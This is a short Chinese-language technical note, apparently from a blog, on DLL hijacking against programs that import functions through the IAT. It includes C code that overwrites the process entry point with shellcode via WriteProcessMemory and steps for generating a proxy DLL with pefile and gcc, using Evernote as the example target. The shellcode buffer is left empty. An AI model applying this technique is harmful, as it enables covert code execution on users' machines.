针对非LoadLibrary
而是从IAT表导入函数的程序,不能用导出函数的方法
导入表调用在程序执行开头,那么可以在解析PE头的时候调用 DLLMAIN
MODULEINFO moduleInfoe;
SIZE_T bytesWritten;
GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe,sizeof(moduleInfoe));
char EntryAddr[MAX_PATH] = { 0 };
_itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 1024;
HANDLE currentProcess = GetCurrentProcess();
WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);
导入表函数格式
手动写导入太麻烦,借助python的PEfile
库直接读取导入表中的函数
https://github.com/erocarrera/pefile
首先定位判断dll名称
然后获取导入表的函数
获取到函数之后按照格式输出
以印象笔记下的文件为例,其用的方法是从IAT表中导入函数,直接运行会显示缺dll
这里使用脚本获取所有的导出函数
得到a1.c
的源文件,可以看到已经将导出函数声明到了源文件里面
然后将shellcode填充到相应位置
再使用gcc编译成dll
双击即可完成IAT类型的dll劫持